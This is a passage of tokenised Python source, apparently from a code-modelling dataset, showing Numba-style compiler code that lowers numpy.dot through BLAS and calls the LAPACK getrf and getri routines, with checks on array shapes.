", "As", "ked", " ", "for", " ", "x", " ", "*", " ", "y", ",", " ", "we", " ", "will", " ", "compute", " ", "y", ".", "T", " ", "*", " ", "x_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mt", "y_", "=_", "yt", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "\\u", "shapes_", "=_", "y", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "do", "\\u", "trans_", "=_", "yt", "y_", "._", "layout_", "==_", "'", "F", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "\\u", "data_", ",_", "v", "\\u", "data_", "=_", "y_", "._", "data_", ",_", "x_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check", "\\u", "args_", "(_", "a_", ",_", "b_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "m_", ",_", "n_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "m_", "!=_", "\\u", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "array", " ", "size", "s", " ", "for", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "np", ".", "dot", "(", "a", ",", " ", "b", ")", " ", "(", "vector", " ", "*", " ", "matrix", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "out_", "._", "shape_", "!=_", "(_", "n_", ",_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "output", " ", "array", " ", "size", " ", "for", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "np", ".", "dot", "(", "a", ",", " ", "b", ",", " ", "out", ")", " ", "(", "vector", " ", "*", " ", "matrix", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Matrix", " ", "*", " ", "vector_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "We", " ", "will", " ", "compute", " ", "x", " ", "*", " ", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "mt", "y_", "=_", "xt", "y_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "\\u", "shapes_", "=_", "x", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "do", "\\u", "trans_", "=_", "xt", "y_", "._", "layout_", "==_", "'", "C", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m", "\\u", "data_", ",_", "v", "\\u", "data_", "=_", "x_", "._", "data_", ",_", "y_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check", "\\u", "args_", "(_", "a_", ",_", "b_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "\\u", "n_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "n_", ",_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "n_", "!=_", "\\u", "n_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "array", " ", "size", "s", " ", "for", " ", "np", ".", "dot", "(", "a", ",", " ", "b", ")", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"(", "matrix", " ", "*", " ", "vector", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "out_", "._", "shape_", "!=_", "(_", "m_", ",_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "output", " ", "array", " ", "size", " ", "for", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "np", ".", "dot", "(", "a", ",", " ", "b", ",", " ", "out", ")", " ", "(", "matrix", " ", "*", " ", "vector", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "check", "\\u", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "signature_", "(_", "types_", "._", "none_", ",_", "*_", "sig_", "._", "args_", ")_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "val_", "in_", "m", "\\u", "shapes_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "val_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "call", "\\u", "xx", "gem", "v_", "(_", "context_", ",_", "builder_", ",_", "do", "\\u", "trans_", ",_", "mt", "y_", ",_", "m", "\\u", "shapes_", ",_", "m", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "v", "\\u", "data_", ",_", "out_", "._", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "return_", "impl", "\\u", "ret", "\\u", "borrow", "ed_", "(_", "context_", ",_", "builder_", ",_", "sig_", "._", "return", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "._", "\\u", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dot", "\\u", "3", "\\u", "mm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "matrix", ",", " ", "matrix", ",", " ", "out", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "xt", "y_", ",_", "yt", "y_", ",_", "outt", "y_", "=_", "sig_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "outt", "y_", "==_", "sig_", "._", "return", "\\u", "type_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dtype_", "=_", "xt", "y_", "._", "dtype_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x_", "=_", "make", "\\u", "array_", "(_", "xt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "0_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y_", "=_", "make", "\\u", "array_", "(_", "yt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "1_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out_", "=_", "make", "\\u", "array_", "(_", "outt", "y_", ")_", "(_", "context_", ",_", "builder_", ",_", "args_", "[_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "x", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "x_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "y_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "shapes_", "=_", "cg", "utils_", "._", "unpack", "\\u", "tuple_", "(_", "builder_", ",_", "out_", "._", "shape_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "m_", ",_", "k_", "=_", "x", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "k_", ",_", "n_", "=_", "y", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "The", " ", "only", " ", "case", " ", "Num", "py", " ", "support", "s_", "\\u\\u\\uNL\\u\\u\\u_", "assert_", "outt", "y_", "._", "layout_", "==_", "'", "C", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "check", "\\u", "args_", "(_", "a_", ",_", "b_", ",_", "out_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "k_", "=_", "a_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "k_", ",_", "n_", "=_", "b_", "._", "shape_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "k_", "!=_", "\\u", "k_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "array", " ", "size", "s", " ", "for", " ", "np", ".", "dot", "(", "a", ",", " ", "b", ")", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"(", "matrix", " ", "*", " ", "matrix", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "out_", "._", "shape_", "!=_", "(_", "m_", ",_", "n_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Value", "Error_", "(_", "\"", "incomp", "atible", " ", "output", " ", "array", " ", "size", " ", "for", " ", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "np", ".", "dot", "(", "a", ",", " ", "b", ",", " ", "out", ")", " ", "(", "matrix", " ", "*", " ", "matrix", ")\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "context_", "._", "compile", "\\u", "internal_", "(_", "builder_", ",_", "check", "\\u", "args_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "signature_", "(_", "types_", "._", "none_", ",_", "*_", "sig_", "._", "args_", ")_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "m_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "k_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "c\\u", "int_", "(_", "context_", ",_", "builder_", ",_", "n_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "x", "\\u", "data_", "=_", "x_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "y", "\\u", "data_", "=_", "y_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "out", "\\u", "data_", "=_", "out_", "._", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Check", " ", "whe", "ther", " ", "any", " ", "of", " ", "the", " ", "operand", "s", " ", "is", " ", "reall", "y", " ", "a", " ", "1", "-", "d", " ", "vector", " ", "represent", "ed_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "a", " ", "(", "1", ",", " ", "k", ")", " ", "or", " ", "(", "k", ",", " ", "1", ")", " ", "2", "-", "d", " ", "array", ".", " ", " ", "In", " ", "tho", "se", " ", "case", "s", ",", " ", "it", " ", "is", " ", "pes", "sim", "al_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "to", " ", "call", " ", "the", " ", "gener", "ic", " ", "matrix", " ", "*", " ", "matrix", " ", "product", " ", "BLAS", " ", "function", "._", "\\u\\u\\uNL\\u\\u\\u_", "one_", "=_", "ir_", "._", "Constant_", "(_", "intp", "\\u", "t_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "left", "\\u", "vec_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'=='_", ",_", "m_", ",_", "one_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "is", "\\u", "right", "\\u", "vec_", "=_", "builder_", "._", "icmp", "\\u", "signed_", "(_", "'=='_", ",_", "n_", ",_", "one_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "builder_", "._", "if", "\\u", "else_", "(_", "is", "\\u", "right", "\\u", "vec_", ")_", "as_", "(_", "r", "\\u", "vec_", ",_", "r", "\\u", "mat_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "r", "\\u", "vec_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "builder_", "._", "if", "\\u", "else_", "(_", "is", "\\u", "left", "\\u", "vec_", ")_", "as_", "(_", "v", "\\u", "v_", ",_", "m", "\\u", "v_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "v", "\\u", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "V", " ", "*", " ", "V_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "call", "\\u", "xx", "dot_", "(_", "context_", ",_", "builder_", ",_", "False_", ",_", "dtype_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "k_", ",_", "x", "\\u", "data_", ",_", "y", "\\u", "data_", ",_", "out", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "m", "\\u", "v_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "M", " ", "*", " ", "V_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "do", "\\u", "trans_", "=_", "xt", "y_", "._", "layout_", "==_", "outt", "y_", "._", "layout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "xx", "gem", "v_", "(_", "context_", ",_", "builder_", ",_", "do", "\\u", "trans_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xt", "y_", ",_", "x", "\\u", "shapes_", ",_", "x", "\\u", "data_", ",_", "y", "\\u", "data_", ",_", "out", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "r", "\\u", "mat_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "builder_", "._", "if", "\\u", "else_", "(_", "is", "\\u", "left", "\\u", "vec_", ")_", "as_", "(_", "v", "\\u", "m_", ",_", "m", "\\u", "m_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "with_", "v", "\\u", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "V", " ", "*", " ", "M_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "do", "\\u", "trans_", "=_", "yt", "y_", "._", "layout_", "!=_", "outt", "y_", "._", "layout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "call", "\\u", "xx", "gem", "v_", "(_", "context_", ",_", "builder_", ",_", "do", "\\u", "trans_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "yt", "y_", ",_", "y", "\\u", "shapes_", ",_", "y", "\\u", "data_", ",_", "x", "\\u", "data_", ",_", "out", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "m", "\\u", "m_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "M", " ", "*", " ", "M_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "call", "\\u", "xx", "gem", "m_", "(_", "context_", ",_", "builder_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "xt", "y_", ",_", "x", "\\u", "shapes_", ",_", "x", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "yt", "y_", ",_", "y", "\\u", "shapes_", ",_", "y", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "outt", "y_", ",_", "out", "\\u", "shapes_", ",_", "out", "\\u", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "impl", "\\u", "ret", "\\u", "borrow", "ed_", "(_", "context_", ",_", "builder_", ",_", "sig_", "._", "return", "\\u", "type_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "out_", "._", "\\u", "getvalue_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "lower", "\\u", "builtin_", "(_", "numpy_", "._", "dot_", ",_", "types_", "._", "Array_", ",_", "types_", "._", "Array_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "types_", "._", "Array_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "dot", "\\u", "3_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "np", ".", "dot", "(", "a", ",", " ", "b", ",", " ", "out", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ensure", "\\u", "bla", "s_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "with_", "make", "\\u", "contiguous", "_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "as_", "(_", "sig_", ",_", "args_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ndims_", "=_", "set_", "(_", "x_", "._", "ndim_", "for_", "x_", "in_", "sig_", "._", "args_", "[_", ":_", "2_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "ndims_", "==_", "set_", "(_", "[_", "2_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "3", "\\u", "mm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "ndims_", "==_", "set_", "(_", "[_", "1_", ",_", "2_", "]_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dot", "\\u", "3", "\\u", "vm_", "(_", "context_", ",_", "builder_", ",_", "sig_", ",_", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "xx", "getr", "f_", "(_", "context_", ",_", "builder_", ",_", "a", "\\u", "type_", ",_", "a", "\\u", "shapes_", ",_", "a", "\\u", "data_", ",_", "ipi", "v_", ",_", "info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", " ", "the", " ", "LA", "PACK", " ", "gett", "rf", " ", "function", " ", "for", " ", "the", " ", "give", "n", " ", "argu", "ment", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "function", " ", "compute", "s", " ", "the", " ", "LU", " ", "decomposition", " ", "of", " ", "a", " ", "matrix", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "XX", "X", " ", "for", " ", "ipi", "v", ",", " ", "we", " ", "are", " ", "ass", "umi", "ng", " ", "a", " ", "Fort", "ran", " ", "(", "LA", "PACK", ")", " ", "int", " ", "is", " ", "the", " ", "same", " ", "size_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "as", " ", "a", " ", "C", " ", "int", "._", "\\u\\u\\uNL\\u\\u\\u_", "fn", "ty_", "=_", "ir_", "._", "Function", "Type_", "(_", "ll", "\\u", "int", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "ll", "\\u", "char_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "intp", "\\u", "t_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "m", ",", " ", "n_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "a", ",", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "int", "c\\u", "p_", ",_", "ll", "\\u", "intp", "\\u", "p_", ",_", "#", " ", "ipi", "v", ",", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fn_", "=_", "builder_", "._", "module_", "._", "get", "\\u", "or", "\\u", "insert", "\\u", "function_", "(_", "fn", "ty_", ",_", "name_", "=_", "\"", "numb", "a", "\\u", "xx", "getr", "f", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "a", "\\u", "type_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind", "\\u", "val_", "=_", "ir_", "._", "Constant_", "(_", "ll", "\\u", "char_", ",_", "ord_", "(_", "kind_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "a", "\\u", "type_", "._", "layout_", "==_", "'", "F", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "m_", ",_", "n_", "=_", "a", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lda", "_", "=_", "a", "\\u", "shapes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", ",_", "m_", "=_", "a", "\\u", "shapes_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lda", "_", "=_", "a", "\\u", "shapes_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "res_", "=_", "builder_", "._", "call_", "(_", "fn_", ",_", "(_", "kind", "\\u", "val_", ",_", "m_", ",_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "a", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "lda", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ipi", "v_", ",_", "info_", "\\u\\u\\uNL\\u\\u\\u_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "check", "\\u", "lap", "ack", "\\u", "return_", "(_", "context_", ",_", "builder_", ",_", "res_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "call", "\\u", "xx", "getr", "i_", "(_", "context_", ",_", "builder_", ",_", "a", "\\u", "type_", ",_", "a", "\\u", "shapes_", ",_", "a", "\\u", "data_", ",_", "ipi", "v_", ",_", "work_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "lw", "ork", "_", ",_", "info_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "Call", " ", "the", " ", "LA", "PACK", " ", "gett", "ri", " ", "function", " ", "for", " ", "the", " ", "give", "n", " ", "argu", "ment", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "function", " ", "compute", "s", " ", "the", " ", "inv", "erse", " ", "of", " ", "a", " ", "matrix", " ", "give", "n", " ", "its", " ", "LU", " ", "decomposition", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn", "ty_", "=_", "ir_", "._", "Function", "Type_", "(_", "ll", "\\u", "int", "c_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "ll", "\\u", "char_", ",_", "#", " ", "kind_", "\\u\\u\\uNL\\u\\u\\u_", "intp", "\\u", "t_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "intp", "\\u", "t_", ",_", "#", " ", "n", ",", " ", "a", ",", " ", "lda", "_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "int", "c\\u", "p_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ",_", "#", " ", "ipi", "v", ",", " ", "work_", "\\u\\u\\uNL\\u\\u\\u_", "ll", "\\u", "int", "c\\u", "p_", ",_", "ll", "\\u", "intp", "\\u", "p_", ",_", "#", " ", "lw", "ork", ",", " ", "info_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "fn_", "=_", "builder_", "._", "module_", "._", "get", "\\u", "or", "\\u", "insert", "\\u", "function_", "(_", "fn", "ty_", ",_", "name_", "=_", "\"", "numb", "a", "\\u", "xx", "getr", "i", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "kind_", "=_", "get", "\\u", "bla", "s", "\\u", "kind_", "(_", "a", "\\u", "type_", "._", "dtype_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "kind", "\\u", "val_", "=_", "ir_", "._", "Constant_", "(_", "ll", "\\u", "char_", ",_", "ord_", "(_", "kind_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "n_", "=_", "lda", "_", "=_", "a", "\\u", "shapes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "res_", "=_", "builder_", "._", "call_", "(_", "fn_", ",_", "(_", "kind", "\\u", "val_", ",_", "n_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "builder_", "._", "bit", "cast_", "(_", "a", "\\u", "data_", ",_", "ll", "\\u", "voi", "d\\u", "p_", ")_", ",_", "lda", "_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ipi", "v_", ",_", "builder_", "._", "bit", "cast_", "(_", "work_", ",_", "ll", "\\u", 